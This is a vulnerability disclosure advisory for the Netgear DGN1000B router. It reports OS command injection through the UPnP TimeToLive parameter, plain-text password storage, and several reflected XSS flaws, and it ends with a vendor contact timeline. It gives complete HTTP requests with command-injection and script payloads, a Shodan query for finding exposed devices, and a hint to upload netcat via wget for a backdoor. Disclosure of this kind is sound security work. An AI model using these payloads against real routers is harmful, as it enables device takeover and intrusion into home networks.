119 lines
No EOL
5.5 KiB
Text
119 lines
No EOL
5.5 KiB
Text
Device Name: DGN1000B
|
|
Vendor: Netgear
|
|
|
|
============ Vulnerable Firmware Releases: ============
|
|
|
|
Firmwareversion: V1.1.00.24
|
|
Firmwareversion: V1.1.00.45
|
|
|
|
Download: http://downloadcenter.netgear.com/de/product/DGN1000
|
|
|
|
============ Device Description: ============
|
|
|
|
The N150 Wireless ADSL2+ Modem Router DGN1000 provides you with an easy and secure way to set up a wireless home network with fast access to the Internet over a high-speed digital subscriber line (DSL). The N150 Modem Router has a built-in DSL modem and is compatible with all major DSL Internet service providers. The security features let you block unsafe Internet content and applications, and protect the devices that you connect to your home network.
|
|
|
|
Source: http://support.netgear.com/product/DGN1000
|
|
|
|
============ Shodan Torks ============
|
|
|
|
Shodan Search: NETGEAR DGN1000
|
|
|
|
============ Vulnerability Overview: ============
|
|
|
|
* OS Command Injection in the UPNP configuration:
|
|
|
|
The vulnerability is caused by missing input validation in the TimeToLive parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.
|
|
|
|
Param: TimeToLive
|
|
POST /setup.cgi HTTP/1.1
|
|
Host: 192.168.178.188
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.178.188/setup.cgi?next_file=upnp.htm
|
|
Authorization: Basic XXX
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 185
|
|
Connection: close
|
|
|
|
UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4
|
|
|
|
Change the Request Methode from HTTP Post to HTTP GET:
|
|
|
|
http://192.168.178.188/setup.cgi?UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4
|
|
|
|
|
|
It is possible to cross compile Netcat and upload it via wget, adjust the permissions and execute it. Have phun ;)
|
|
|
|
Sources including needed toolchain: http://kb.netgear.com/app/answers/detail/a_id/2649
|
|
direct download: http://www.downloads.netgear.com/files/GPL/DGN1000B_VB1.00.45_GR_src.tar...
|
|
|
|
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-os-command-wget-check.png
|
|
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-r00ted.png
|
|
|
|
* Insecure Cryptographic Storage:
|
|
|
|
There is no password hashing implemented and so it is saved in plain text on the system:
|
|
cat /tmp/etc/htpasswd
|
|
admin:password
|
|
|
|
* XSS
|
|
|
|
Injecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
|
|
|
|
-> Sicherheit -> Dienste -> neuen Dienst anlegen -> Dienstname
|
|
|
|
Param: service_name
|
|
|
|
http://192.168.178.188/setup.cgi?service_name=%22%3E%3Cimg%20src=%220%22%20onerror=alert%282%29%3E&svc_type=tcp&serv_sport=1&serv_endport=2&save=Anwenden&todo=save&h_svc_type=tcp&edit=1&h_ruleSelect=0&this_file=servinfo.htm&next_file=fw_serv.htm
|
|
|
|
-> WLAN -> Zugriffsliste anpassen -> Hinzufügen -> Gerätename
|
|
|
|
Param: device
|
|
|
|
http://192.168.178.188/setup.cgi?accessLimit=accessLimit&device=%22%3E%3Cimg+src%3D%220%22+onerror=alert(2)>&wirelist_mac=01-11-22-33-44-66&h_accessLimit=enable&h_ruleSelect=0&todo=addmanual&this_file=m_access.htm&next_file=m_access.htm
|
|
|
|
Param: ssid_num
|
|
|
|
http://192.168.178.188/setup.cgi?next_file=adv_wireless.htm&ssid_num=a%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&flag=1
|
|
|
|
Param: h_skeyword
|
|
|
|
http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=&KeyWordList=0&todo=delete&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=115bcf%22%3E%3Cscript%3Ealert%281%29%3C/script%3Edc575b170bc38bebe&h_KeyWordList=&h_ruleSelect=0&h_trustipenable=disable&c4_Trusted_IPAddress=
|
|
|
|
Param: cfKeyWord_Domain
|
|
|
|
http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=5d0a9%3Cscript%3Ealert%281%29%3C/script%3E&todo=addkeyword&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=1&h_KeyWordList=&h_ruleSelect=&h_trustipenable=disable&c4_Trusted_IPAddress=
|
|
|
|
============ Solution ============
|
|
|
|
No known solution available.
|
|
|
|
============ Credits ============
|
|
|
|
The vulnerability was discovered by Michael Messner
|
|
Mail: devnull#at#s3cur1ty#dot#de
|
|
Web: http://www.s3cur1ty.de
|
|
Advisory URL: http://www.s3cur1ty.de/m1adv2013-005
|
|
Twitter: @s3cur1ty_de
|
|
|
|
============ Time Line: ============
|
|
|
|
October 2012 - discovered vulnerability
|
|
15.10.2012 - Privately reported all details to vendor via email
|
|
23.10.2012 - Privately reported all details to vendor via webinterface
|
|
24.10.2012 - Netgear replied to forward the details internally
|
|
31.10.2012 - Netgear closes the case
|
|
31.10.2012 - Requested more details why the case is now closed.
|
|
31.10.2012 - Netgear responded that they will check the state of the case
|
|
06.11.2012 - Netgear requested the Serial Number of the device
|
|
08.11.2012 - Responded with the Serial Number
|
|
13.11.2012 - something goes on - I got a product registration confirmation
|
|
03.12.2012 - Case closed by Netgear - No new firmware available
|
|
16.01.2013 - Netgear contacted me again requesting to check a Beta version
|
|
22.01.2013 - Tested Beta Firmware and gave feedback to vendor
|
|
06.02.2013 - public release
|
|
|
|
===================== Advisory end ===================== |